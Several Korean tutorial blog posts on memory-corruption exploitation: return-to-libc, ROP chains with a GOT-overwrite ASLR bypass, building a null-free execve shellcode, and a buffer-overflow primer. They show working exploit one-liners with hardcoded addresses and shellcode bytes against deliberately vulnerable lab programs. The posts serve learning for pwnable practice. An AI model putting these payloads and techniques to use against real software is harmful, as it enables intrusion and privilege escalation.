/* 
written by kaspy (kaspyx@gmail.com)
*/ 

1. 서론

RTL(Return to library) 기법이란, 버퍼오버플로우(Buffer Overflow, 이하 BOF) 취약점이 존재하는 프로그램을 익스플로잇 할때 해당 프로그램의 스택(stack) 영역에 실행 권한이 존재하지 않을때 프로그램이 사용하는 glibc 내에 존재하는 함수를 호출하는 기법이다.

요즘 대부분의 리눅스 및 윈도우 시스템은 NX 또는 DEP등으로 스택(stack) 영역에 실행 권한을 주고있지않고, 특별한 컴파일 옵션을 주어서만 실행권한을 줄수있는만큼 간단하면서도 자주 사용되는 방법이다.

포너블문제(pwnable)에서는 기본중에 기본이니 잘알아두도록하자.

* 테스트 환경은 우분투 리눅스 16.04 64bit 입니다 

2. 취약프로그램


BoF 취약점이 일어나는 프로그램의 소스코드는 아래와 같다. RTL을 공부하기위한것이니, Stack Canary와 ASLR 은 꺼두도록하자.

(32비트로 컴파일하기위해 -m32 옵션도 추가적으로 줬음)



  1. #include <stdio.h>
  2.  
  3. // sudo sysctl -w kernel.randomize_va_space=0
  4. // gcc -o vulnerability vulnerability.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.   char buf[32];
  9.  
  10.   if ( argc < 2 )
  11.   {
  12.     return -1;
  13.   }
  14.   else{
  15.     strcpy(buf,argv[1]);
  16.     printf("You entered : %s\n",buf);
  17.   }
  18. }


gdb로 열은후 maps로 보면 아래와 같이 스택영역에 실행권한이 없는것을 확인할수 있다.



3. 스택에 쉘을 올려놓고 공격해보기


BoF 취약점을 가진 프로그램을 gdb로 실행하여 dissembly 하면 아래와 같이 나와진다. 

(gdb 유틸 peda를 사용하면 아래와같이 좀더 보기쉽게 나온다.)



버퍼의 사이즈는 32바이트로 a * 32 byte + ebp (4byte) + ret(4byte)로 생각할수있다.


그렇다면 스택 버퍼에 쉘을 때려넣고 ret를 버퍼의 주소로 수정하여 공격을 해보자.

(당연히 안되겠지만 시험삼아)


버퍼의 주소는 0xffffd3e8 으로 확인되어진다.(+32 지점에 브포걸고 확인)


Payload = (shellcode + dummy) 32byte + ebp (dummy) + 0xffffd3e8 (버퍼의 주소)


로 생각할수있겠다.


이걸 파이썬으로 하면


 python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'


처럼 나타낼수있고, gdb로 확인해보자.


gdb에서 입력하고싶다면 


r `python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'`


으로 해주면된다.



위와같이 실행하면 ret 하기전에 다음 스택포인터가 버퍼의 주소를 가리키고있는것을 확인할수 있다.


그러나 아래와같이 SIGSEGV 시그널 예외가 발생하여 쉘코드가 실행되지 않는다.



쉘을 띄우고 싶다면, 컴파일 옵션에 -z execstack 을 줘서 다시 컴파일해서 테스트해보면된다.


4. RTL(Return to Library)로 공략하기


다시 처음으로와서 이번에는 Return to Library 기법을 사용해서 공격을 해보도록하자.


쉘을 띄우기 위해 system 이라는 함수 주소를 확인해보자.



system 함수의 주소는 0xf7e43940 이다.


RTL을 이해하기위해선 함수 파라미터 호출에대해 어셈블리수준에서 간단히 이해할수 있어야한다.


예를들어


int func(int a, int b,int c)


가 있다면 어셈블리로 


push c

push b

push a

call func 


형식으로 호출이 이루어진다. 물론 함수 호출규약(Calling Convention)에따라 다를수있지만 glibc는 위와같은(cdecl) 방식이 사용된다.


func 함수가 실행될때는


pop a

pop b

pop c 


형태로 매개변수를 가져와서 함수기능에맞게 처리한다.


즉 아래와같이 argv1, argv2를 push 했다면 함수의 인자 순서는 아래와같다.




아래는 ret 하기전에 스택에 저장된 값인데



첫번째 빨간색 박스에 (0000) system의 함수주소를, 그리고 두번째 박스(0008) 에는 "/bin/sh"의 문자열의 주소를 넘겨주면 된다.


buf에 바로 /bin/sh를 넣어줘서 주소를 넘겨주던지 아니면 glibc에 저장되어있는 주소를 넘겨줘도된다.




아래는 exploit 코드이다.


./vulnerability `python -c 'print  "a"*32 + "b" * 4 +  "\x40\x39\xe4\xf7"+ "xxxx" + "\x8b\x1e\xf6\xf7"'` 



exit 를하면 segmentation 오류가 뜰것인데 그건 004 번지에 exit 함수를 넣어줘야 제대로 종료가 되는데 직접 해보기 바람.


RTL 기법의 한계점이 있다면 연속적인 Call Chain을 구성하기 어렵다는것이고, ASCII Armor 나 ASLR 이 걸려있을때에 사용하기 어렵다는 것등이있다.


RTL은 간단하면서도 유용할때가 많이있다. 


예를들어 Windows 환경의 DEP를 끄고 싶다면 SetProcessDEPPolicy() 함수(매개변수를 하나만 받는경우)를 사용하여 DEP를 disable한이후에 스택에 쉘코드를 실행하는경우 등을 들수있다.(단. DEP 모드가 Always ON/Off , 모듈이 NXCOMPAT으로 되어있을경우는 해당되지않음) 리눅스 환경 같은경우 mprotect() 함수를 사용하여 스택에 nx를 해제한후에 쉘코드를 띄울수도있다.



- 참조 내부 링크


 리눅스 쉘코드(shellcode) 만들기 - http://kaspyx.kr/4

 버퍼오버플로우(Buffer Overflow) 해킹기법이란?? - http://kaspyx.kr/2

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

1. 시작하며


ROP(Return Oriented Programming) 이란 버퍼 오버플로우 취약점이 발생하는 바이너리를 exploit 할때 가장 많이 사용되는 기법으로 바이너리 내부에 존재하는 gadget을 사용하여 호출 함수 및 인자를 조작하는 방법이다.


솔직히 관련 자료도 굉장히 많은데.. 나도 복습 할겸 정리해보았다.


일반적으로 ASLR이 걸려있는 바이너리는 Memory leak 또는 got, plt 등에 함수가 존재해야하는 특수한 전제가 붙어야 exploit 가능하지만, ROP 기법을 사용하면 (PIE가 걸려있지않아야함) 바이너리의 고정주소의 gadget을 활용하여 exploit 할수있다.


여기서 gadget이란 바이너리에 존재하는 pop, pop, ret 등의 어셈블리 코드라고 할수있다.


* 테스트 환경은 우분투 리눅스 16.04 64bit 입니다 


2. ROP 기본


우선 ROP를 하기위해 기본 개념을 살펴보자.

ret 하기전에 스택에 저장된 값이 아래와 같을때 RTL 기법은 아래와 같이 간단히 나타낼수있다.


그러나 위의 방식의 단점은 인자가 여러개일때 &next func가 호출될때 거기에 맞는 인자를 만들어줄수 없다. 


예를들어 


strcpy(buf,"/bin/sh");

mprotet(0xffffd42c, 256, PROT_EXECUTE)

system(buf);


를 해주고싶은데 단순 RTL로는 해결이 되지않는다. 즉 RTL Call Chain을 구성할수 없는데 이때는 esp을 올려주는 pop과 다시 esp가 가리키는 곳으로 돌아가는 ret을 활용하면 Call Chain을 구성해줄수 있다.


필요한 gadget을 설명하자면


ret는 esp가 가리키는 주소로 돌아가는 명령어이다.


pop eax, pop ebx, pop rax, add esp, 0x16.. 등등은 스택포인터를 올리는 명령어이다.

(뭐 pop eax는 eax에 esp를 넣고 esp를 4바이트 올린다라고 하는게 정확하지만 ROP 하는데에는 esp를 올리고 ret 한다는게 중요함.)


만약에 &next_func(아래에서는 &gadget)의 주소에 pop eax, pop ebx, ret 라는 어셈블리가 있다면 어떻게 될까?


&func 함수가 첫번째로 실행되고 ret 하면서 esp를 4바이트 올린다.


그리고 pop eax, pop ebx를 실행하여 최종 스택의 메모리 정보는 아래와같다.



&next func에서도 역시 똑같은 방식으로 함수의 인자에 따라 구성을 해주면된다.


즉 바이너리 내부에 gadget을 활용함으로써 Call Chain을 구성할수 있다.


3. 취약 프로그램 ROP로 공략해보기


ROP 기법을 설명하는것이니 아래와 같이 버퍼 오버플로우 취약점이 있는 프로그램이 있다고 해보자. 


  1. #include <stdio.h>
  2.  
  3. // sudo sysctl -w kernel.randomize_va_space=0
  4. // gcc -o rop rop.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.   char buf[32];
  9.   setreuid(geteuid(),geteuid());
  10.   puts("This is BoF vulnerability binary");
  11.  
  12.   if ( argc < 2 )
  13.   {
  14.     return -1;
  15.   }
  16.  
  17.   strcpy(buf,argv[1]);
  18.   printf("You entered : %s\n",buf);
  19. }


- 바이너리 실행



1) GOT(Global offset table) 및 PLT(Procedure Linkage Table) 영역


이전 블로그에서는 RTL을 사용해서 exploit을 하였지만, 이번에는 ROP를 활용해보도록하겠다.


우선은 알아야할것이 바이너리 내부에 GOT 및 PLT 영역인데, 여기에 대한 정리는 따로 하도록하고


PLT 영역은 현재 프로그램에서 사용하는 함수를 호출하기위해 처음으로 분기하는 루틴이고 GOT 에는 libc 내에 실제 함수의 주소가 저장되어있다.


즉 PLT -> GOT 순서로 호출되는데 예를들어 printf 함수를 호출한다면 printf의 PLT가 호출되고, PLT 에서는 다시 GOT로 점프한다. GOT에서는 첫번째 실행이면 printf의 주소를 저장해주고, printf가 호출되며 두번째부터는 저장된 주소로 호출하도록 되어있다.


취약점 바이너리에서는 printf 및 strcpy 함수가 호출되는데 실제 바이너리를 readelf 명령어로 열어보면 각 함수에 대한 got 및 plt가 나와있는것을 확인할수있다.



뭐 요약하자면 PLT 의 함수를 사용하면 몇개의 함수들은 ASLR의 문제를 해결할수있으며, PLT 함수를 호출함으로써 익스플로잇에 쉽게 활용할수있다.


2) ROP Gadget 구성하기 


ASLR이 걸려있어도 프로그램의 .data, .text 나 .bss 등의 영역은 고정이니 이 고정주소를 참조하면된다. 


나는 아래와같은 함수 호출을 하기위한 gadget을 구성해볼것이다.


strcpy(addr, "/bin/sh");

system(addr);


gadget은 반드시 ret 로 끝나야 하므로 아래와 같은 명령어로 찾아보도록해보자.


objdump -d rop | grep ret -B 3 



또한 "/bin/sh" 라는 문자열이 저장된곳도 알아야한다. (나는 0x0804a024 주소의 gadget을 사용하였다.)


보통 한번에 넘겨주면 좋지만 이번에는 연습용이므로 '/\x00', 'b\x00', 'n\x00', '/x0\\', 's\x00', 's\x00' 이런식으로 넘겨주도록 하겠다.(개노가다)


그렇다면 특정 주소(addr)에 strcpy를 여러번 해줘야한다.

(Payload는 대충 a * 36 + ebp(4byte) + ret (ROP Call chain)으로 보면되겠다.)


보통 문자열이 저장되는 주소는 .bss 이나 .data 영역을 많이 사용하는데, 이곳은 초기화되지않은 변수들이 저장되는 전역변수 영역이다


나는 strcpy 함수로 저장될 버퍼주소로 0x0804a024으로 잡았다.


readelf -a rop | grep data



이제부터 노가다의 시작이다.


gdb로 프로그램을 실행하여 find 명령어로 '/' , 'b', 'i' ,'n', '/' , 's', 'h'를 찾아서 일일이 strcpy에 1바이트씩 증가시키며 저장해주도록한다



대충 main에서 ret을 할때 스택 payload 구조는 아래와 같이 구성되어진다.




초록색은 strcpy의 plt 주소, 빨강색은 strcpy의 첫번째 버퍼주소, 주황색은 복사할 문자열의 주소 그리고 파랑색은 libc 내부의 system 함수주소, 보라색은 exit 함수의 주소이다.


strcpy의 PLT 주소는 0x08048390이며, gadget(pop, pop, ret)의 주소는 0x080485aa, 저장할 버퍼 주소는 0x0804a024 다.  '/bin/sh' 문자열이 위치한 각각의 주소는 주황색으로 표시하였다.



gdb를 이용해서 바이너리 내부에 system 함수의 주소는 0xf7e43940 으로 확인되었고, exit 함수의 주소는 0xf7e377b0 이다.


아래는 exploit 코드이다.


./rop `python -c 'print "a" * 36 + "b" *4 + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x24\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x25\xa0\x04\x08" + "\x57\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x26\xa0\x04\x08" + "\x56\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x27\xa0\x04\x08" + "\x5e\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x58\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x1c\x86\x04\x08" + "\x40\x39\xe4\xf7"  + "\xb0\x77\xe3\xf7" + "\x24\xa0\x04\x08" '`


위의 Call chain을 대략 c언어로 나타내면 아래와 같다.


strcpy(buf,'/');

strcpy(buf+1, 'b');

strcpy(buf+2, 'i');

strcpy(buf+3, 'n');

strcpy(buf+4, '/');

strcpy(buf+5, 's');

strcpy(buf+6, 'h');

sytem(buf);

exit(?);


- 실행 결과



4. ASLR 문제점 해결하기


위에서 설명한 exploit은 ASLR 환경에서 작동하지 않는다. 왜냐하면 glibc 내 함수(system) 가 고정이라는 전제를두고 익스플로잇을 하였기 때문이다. 그러나 ROP 기법을 좀더 활용하면 이를 해결할수있다.


이것도 전제조건이 붙긴하는데, .plt 와 .got 영역이 쓰기 가능해야하는것(Partial RELO) 과 PIE가 붙어있으면 안된다. 


우선 ASLR 환경에서 glibc 함수는 랜덤이긴하지만 offset은 동일한데, 


예를들어 glibc내에 printf 함수 주소를 알고있으면 (got에 저장되어있음) 다른 함수와의 offset을 통해 구할수있는것이다.


(나는 printf의 got 주소를 공략하였다. 시간이 된다면 geteuid 등을 공략해서 해보는것도 도움이 될것이다.)



printf got 주소 : 0x804a00c


execve 함수주소: 0xf7eb8400 (25568 offset)


printf 함수주소 : 0xf7e52020


system 함수주소: 0xf7e43940 (-59104 offset)


즉 got 에 저장된 printf 함수 주소에, 59104를 빼면 system 함수 주소가 나오고, 25568을 더하면 execve 함수 주소가 나오는데 이값은 일정하다는것이다.


printf의 got 주소에는 glibc printf 함수 주소가 저장되어있다. 우리는 printf의 got 주소를 system이나 execve등으로 수정한후에 plt의 printf를 불러주면 system 이나 execve 함수를 통해 익스플로잇을 할수있다.


(내가알기론) ROP 쉘 익스플로잇 방법은 2가지가 있다


1) GOT 주소 수정하기


pop ebx

pop ecx

ret


등을 통해 ebx에 got 주소를 넘겨주고


add [ebx+0x23158], ecx 

ret


등의 이상한 gadget을 통해 got에 저장된 주소값을 수정하는 작업을 더해줘서 공략하는 방법


2) 레지스터 조작후 CALL


또하나는


pop eax

pop edx

ret


이후에


lea ecx, [eax]

add ecx, edx

call ecx 


등을 통해 특정 주소의 값을 얻은후에 오프셋만큼 더한후에 call을 하는 방법이다.


물론 저렇게 쉽게 gadget이 나온다는 보장도없지만 최대한 간략화해서 설명했다.


3) ASLR 우회하여 공략하기


위에서 설명한 취약한 바이너리의 ASLR 공략을 위해 좀더 gadget을 찾아보았다.


참고로 나는 방법 1) 2) 둘다 활용하였다.


leave를 이용한 custom stack을 할까도 고민했는데.. 굉장한 노가다가 될거같아서 일일이 gadget을 넣어주었다.(이것도 개노가다)


ropme 라는 유용한 툴을 사용하여 gadget을 찾아보았다.



우선 pop ebx는 많아서 수월해보였는데, eax에 내가 원하는 값을 넣는 gadget이 존재하지않았다.


좀더 찾아보니 adc 형태로 특정 주소에 값을 쓰는 gadget을 발견할수 있었다.





ecx가 가리키는 주소에 1바이트씩 증가시키면서 bh 레지스터(bx의 상위 레지스터)로 1바이트씩 더해주면 strcpy의 널바이트 문제를 해결할수있다. 



그러나 pop ecx 와같은 gadget이 존재하지않았는데, 


아래와 같이 les 라는 명령어로 ecx에 값을 저장할수 있는 gadget을 찾을수 있었다.



ecx에는 les 명령어를 통해 (ebx *3)에 저장된 값을 넣어준다. 나는 0x0804A02C에 저장해줬다.)


즉 plt에 저장된 strcpy 함수를 통해 data 영역에 printf의 got 주소를 써주고 위의 les 명령어가 실행되면 ecx에 printf got 주소가 저장될것이다. 


printf의 got를 execve로 저장하고 printf의 plt를 불러주면 성공적으로 exploit 할수있다.


설명이 길어졌는데 아래와같이 exploit을 보며 이해해보기 바란다.


strcpy의 PLT 주소는 0x08048390이며, gadget(pop pop ret)의 주소는 0x080485aa, 저장할 버퍼 주소는 0x0804a024 이다.  '/bin/sh' 문자열이 위치한 각각의 주소는 주황색으로 표시하였고, 0x0804a02c는 les 명령어로 printf의 got 함수의 주소를 저장해둔 주소이다.


0x08048351 = pop ebx, ret

0x080485a6 = les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret

0x080485a0 = adc [ecx] bh ; div dword [ebp-0x1d] ; add esp 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ;;

0x080486ca = inc ecx ;;

0x08048370 = printf.plt

X\x64XX = pop ebx를 통해 ebx에 저장되는 값

0x08048007 = 0x0


./rop `python -c 'print "a" * 36 + "b" *4 + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x24\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x25\xa0\x04\x08" + "\x57\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x26\xa0\x04\x08" + "\x56\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x27\xa0\x04\x08" + "\x5e\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x58\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x1c\x86\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2c\xa0\x04\x08" + "\x41\x86\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2d\xa0\x04\x08" + "\x01\x83\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2e\xa0\x04\x08" + "\x1a\x80\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2f\xa0\x04\x08" + "\x1b\x80\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x30\xa0\x04\x08" + "\x07\x80\x04\x08" + "\x51\x83\x04\x08" + "\x64\x35\xac\x02" + "\xa6\x85\x04\x08" + "aaaa" + "bbbb" + "\x24\xa0\x04\x08" + "\x51\x83\x04\x08"+ "X\xe0XX" + "\xa0\x85\x04\x08" + "a" * 12 + "X\x64XX" + "bbbb" + "cccc" + "\x24\xa0\x04\x08" + "\xca\x86\x04\x08" + "\xa0\x85\x04\x08" + "a" * 12 + "X\x06XX" + "bbbb" + "cccc" + "\x24\xa0\x04\x08" + "\xca\x86\x04\x08"  + "\xa0\x85\x04\x08" + "a" * 12 + "X\x06XX" + "bbbb" + "cccc" + "eeee"+ "\x70\x83\x04\x08" + "XXXX" + "\x24\xa0\x04\x08" +"\x07\x80\x04\x08"+"\x07\x80\x04\x08"'`


- 실행 화면

(ASLR 환경에서도 잘 작동한다. 단 glibc의 버전이 다르면 offset 계산을 다시해줘야함, 내컴퓨터의 glibc 버전은 2.23)



5. 참고자료


- 외부링크

 - http://teamcrak.tistory.com/332

-내부 링크

 - http://kaspyx.tistory.com/99

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

버퍼 오버플로우나 포맷스트링버그 등의 취약점을 이용해서 해킹을 하는데

이때 임의의 데이터를 입력할때, 쉘을 실행 시켜주는 루틴을 넣어주는데 이것이 바로 쉘코드입니다.
그럼 이번 장에서는 쉘코드를 어떻게 만드는지 써보고자합니다.
리눅스상에서는 쉘을 실행시켜주는 명령어 함수가 뭐가 있을까요??
system(), execve(), execpl() 등등이 있는데 비교적 사용법이 단순한 execve() 함수로 작성을 해보겠습니다.
아래와 같이 간단한 코딩을 해보겠습니다.

** 테스트한 환경은 32비트 우분투 리눅스 9.x 입니다.**

1. 쉘코드 프로그래밍 하기

  1. void main()
  2. {
  3.         execve("/bin/sh",NULL,NULL);
  4. }
  5. // compile : gcc -o mkshell mkshell.c -static

단순히 리눅스 쉘을 실행시켜주는 프로그램인데, 우리에게 필요한건 저 쉘을 실행시켜주는 기계어 루틴입니다.
그리고 컴파일할때 반드시 -static 옵션을 주고 컴파일하세요!!
컴파일한후에, gdb 명령어로 실행시켜줍니다.
그리고 gdb의 disas 명령어로 execve() 루틴을 분석해보겠습니다.

2.쉘코드 분석하기

execve 함수는 위와같은 어셈블리 코드로 이루어져있군요.
분석을 해보도록 하겠습니다.

  1. 0x0804e723 <execve+3>:  mov    0x10(%ebp),%edx // 세 번째 파라미터
  2. 0x0804e726 <execve+6>:  push   %ebx
  3. 0x0804e727 <execve+7>:  mov    0xc(%ebp),%ecx  // 두 번째 파라미터
  4. 0x0804e72a <execve+10>: mov    0x8(%ebp),%ebx  //문자열의 주소, 첫번째파라미터
  5. 0x0804e72d <execve+13>: mov    $0xb,%eax
  6. 0x0804e732 <execve+18>: int    $0x80

그러니깐.. 3개의 파라미터("/bin/bash", NULL,NULL)을 인자로 주고, eax 레지스터에 0xb를 넣은다음에, 인터럽트 명령어 int 0x80을 실행시켜주면 execve() 함수가 실행되는거였군요!! 
그럼 어셈블리코드를 뽑아서 다시 컴파일 해보도록하겠습니다.

3. 쉘코드 뽑아내기

  1. #include <stdio.h>
  2.  
  3. char buf[] = "/bin/sh";
  4.  
  5. void main()
  6. {
  7.         printf("%p\n",buf);
  8.         __asm__("mov $0x0, %edx");
  9.         __asm__("mov $0x0, %ecx");
  10.         __asm__("mov $0x804a014, %eax");        //buf의 주소
  11.         __asm__("int $0x80");
  12. }
  13. /* compile: gcc -o shellcode shellcode.c

저기서 0x804a014 라는 주소는 buf 문자열버퍼의 주소입니다. ASLR을 해제한후에 자신의 프로그램에 잡힌 buf의 주소를 지정해주세요. 그런데 문제점이 하나 발생했습니다. 쉘을 실행시켜야할 문자열("/bin/sh")주소는 프로그램마다, 운영체제 버전마다 다를수 있습니다.

이에 대한 해결책으로는 call 어셈블리를 사용하면 됩니다.  

아래와같이 어셈블리코드를 짜주세요. (단 확장자를 .s 로할것)
  1. .global main
  2. main:
  3.         jmp strings #strings 주소부터 시작됨
  4. start:
  5.         movl $0xb, %eax
  6.         movl $0x0, %edx
  7.         movl $0x0, %ecx
  8.  
  9.         popl %ebx  #문자열의 주소가 pop되어 ebx에 저장됨
  10.         int $0x80
  11.  
  12. strings:
  13.         call start #start를 호출하면서 "/bin/sh"의 주소가 push됨
  14.         .string "/bin/sh"
  15. # compile : gcc -o mkshell mkshell.s

이코드를 컴파일후 나온 기계어를 objdump 유틸을 사용해서 기계어만 뽑아내도록 하겠습니다.



뽑아내니 아래와같은 헥스코드 문자열이 나오는군요

"\xb8\x0b\x00\x00\x00"

"\xba\x00\x00\x00\x00"

"\xb9\x00\x00\x00\x00"

"\x5b"

"\xcd\x80"

"\xe8\xe9\xff\xff\xff\x2f"

"/bin/sh\x0";


이코드를 실행하도록 해보겠습니다.


  1. char buf[] =
  2. "\xb8\x0b\x00\x00\x00"
  3. "\xba\x00\x00\x00\x00"
  4. "\xb9\x00\x00\x00\x00"
  5. "\x5b"
  6. "\xcd\x80"
  7. "\xe8\xe9\xff\xff\xff\x2f"
  8. "/bin/sh\x0";
  9.  
  10. void main()
  11. {
  12.         int *ret;
  13.         ret = (int*)&ret +2;
  14.         (*ret) = (int)buf;
  15.        
  16. }
  17. /* compile : gcc -o shellcode shellcode.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


실제 데이터를 입력할때는 저위에 "\xb8\x0b\x00~~ 의 기계어를 넣어주는 것입니다.
그런데 또 문제점이 하나 생겼습니다. 

4. 널('\0') 바이트 제거하기
 
 문제점이 뭐냐하면 쉘코드 내부에 널('\x00') 바이트가 포함되었다는 것입니다.
바로 strcpy, gets, sprintf 등의 버퍼오버플로우 발생 함수는 널바이트를 끝으로 데이터복사를 끝낸다는 것입니다. 그러니까 우리가 쉘코드를 제대로 넣기 위해서는 널바이트를 반드시 제거해야합니다.

 여기서 NULL문자가 나오는 명령어로 대표적인것이 movl 명령어입니다.

이는 xor를 사용하면 간단히 해결할수 있습니다. mov $0x0, %ecx를 xor %ecx, %ecx로 바꾸어주면 ecx는 0으로 초기화 됩니다. 더군다나 쉘코드의 크기도 작아집니다 mov는 5바이트만 먹는반면, xor는 2바이트면 충분합니다.

eax에 0x0b를 집어넣는것은 우선 eax를 xor로 0으로초기화하고 movb 0x0b, %al로 바꾸어주면 기계어에서 널문자가 사라집니다.

아래와 같이 개선해서 다시 코딩해주었습니다.

  1. .global main
  2. main:
  3.         jmp strings #strings 주소부터 시작됨
  4. start:
  5.         #movl $0xb, %eax
  6.         xor %eax, %eax
  7.         #movl $0x0, %edx
  8.         xor %edx, %edx
  9.         #movl $0x0, %ecx
  10.         xor %ecx, %ecx
  11.         movb $0xb, %al
  12.  
  13.         popl %ebx
  14.         int $0x80
  15.  
  16. strings:
  17.         call start #start를 호출하면서 "/bin/sh"의 주소가 push됨
  18.         .string "/bin/sh"
  19. # compile : gcc -o mkshell mkshell.s

위의 코드를 컴파일 해서 objdump로 기계어를 뽑아내보겠습니다.


뽑아낸 쉘코드는

"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0";

군요!!


  1. char buf[] =
  2. "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh\x0";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack

뽑아낸 쉘코드를 컴파일해서 실행해보세요. (27바이트 쉘코드)


쉘코드가 잘 실행되고 있군요!!

5. 마치며

 지금까지 간단한 쉘코드를 작성하는 방법을 알아보았습니다. 지금은 로컬 쉘코드를 만들었는데, 공격자의 목적에따라 다양한 쉘코드를 만들수 있습니다. 대표적인 예가 리버스텔넷 쉘코드, 바인드 쉘코드, 특정 사용자 추가 쉘코드 등등이 있을수 있는데 위와 같은 방법을 통해 작성되게 됩니다.

 참고자료
- 인터넷 및 블로깅
http://pds5.egloos.com/pds/200707/02/74/freebsd_shellcode.pdf
http://ezbeat.tistory.com/150
- 관련 링크

 버퍼오버플로우(Buffer Overflow) 해킹기법이란??

신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


정보보안 분야에서 버퍼오버플로우(Buffer Overflow) 해킹기법은 그 역사가 굉장히 오래되었고, 발생했을시에 굉장히 심각한 결함으로 이어질수 있는 취약점입니다. 


버퍼오버플로우 해킹기법의 최초 시발점은 1988년 모리스웜을 들수있습니다.  

네트워크를 통해 데이터를 입력받아 처리했던 당시의 컴퓨터는 웜에 의해 수천대의 컴퓨터가 감염되어 파괴되었고, 피해액만  100만달러가 넘었다고하네요.

버퍼오버플로우에 대한 간단한 정의를 하자면, 어떤 프로그램에 비정상적인 데이터를 많이 주입하여, 오류를 발생시키거나, 임의의 악성 코드를 실행하게 만드는 기법이라고 할수있습니다.(이하 BoF)

BoF 취약점은 포인터가 존재하는 c/c++ 및 c# 으로 작성된 프로그램 등에 존재하는 취약점입니다.

아래와 같은 간단한 소스코드를 봐보세요.

(해당 취약점은 우분투 리눅스 9.04 에서 테스트 하였습니다.)
  1. #include <stdio.h>
  2. void  foo(){
  3.    char name[5];
  4.    printf("enter name\n");
  5.    scanf("%s", name);
  6.    printf("you entered %s \n", name);
  7. }
  8. int main(){
  9.    foo();
  10.    printf("program ends here\n");
  11.    return 0;
  12. }
/* 컴파일 : gcc -o vuler vuler.c */

위의 소스를 컴파일 해서 실행해봅시다.

분명 foo() 함수에서 이름을 입력받고, main() 함수로 복귀한후에, program ends here 라는 문구가 출력되고 종료가 되어야합니다.

네글자를 입력했을때는 잘되는것처럼 보입니다. 그런데, 5글자 이상을 입력하는 순간 Segmentation fault 라는 에러가 나는군요. 과연 어디서 잘못되서 에러가 나는걸까요??

우선 scanf() 함수는 bof 취약점을 가진 함수입니다. 

무슨 말이냐하면, 입력받은 데이터의 크기를 고려하지않고 모두 복사해버린다는 것입니다. 

(이외에도, gets, sprintf, strcpy 등등의 함수등이 BoF 취약점을 가지고있습니다.)

gdb로 한번 확인해보겠습니다.


EBP (스택 베이스 포인터)를 기준으로 name이라는 지역변수 5바이트 공간을 확보하는것을 확인할수 있습니다.

그럼 프로그램이 실행되었을때, 메모리 레이아웃은 아래와 같이 되어있습니다.



여기서부터 어셈블리에 대해서 약간의 이해가 필요한데, 프로그램은 지역변수를 다룰때 (예를들어 foo() 함수내부의 name) 스택이라는 메모리를 사용하여 저장을 합니다. 지역 변수 이외에도, 함수 호출부의 복귀지점(RET) 및 함수 시작 베이스주소(EBP) 등을 저장하여 사용하고 있습니다. 

여기서 RET 변수는 foo() 함수가 끝나고

  1.    printf("program ends here\n");

의 주소라고 생각할수 있겠죠??

그런데 문제는 스택 메모리 영역에 잡힌 name의 사이즈 크기보다 많은 데이터가 입력되었을 경우입니다.



foo() 함수가 호출되고 ret문은 어디일까요?? 바로 0x0804874 입니다.

"kim" 을 입력하였을때, 메모리 레이아웃은 아래와 같이 나온다고 할수 있습니다.



그렇다면 name 버퍼 지역변수가 잡힌 크기를 입력하면 어떻게될까요?? 

aaaaa...를 쭈욱 입력하였을 경우 foo함수가 실행되었을떄 아래와같이 메모리 레이아웃이 잡히게 되버립니다.

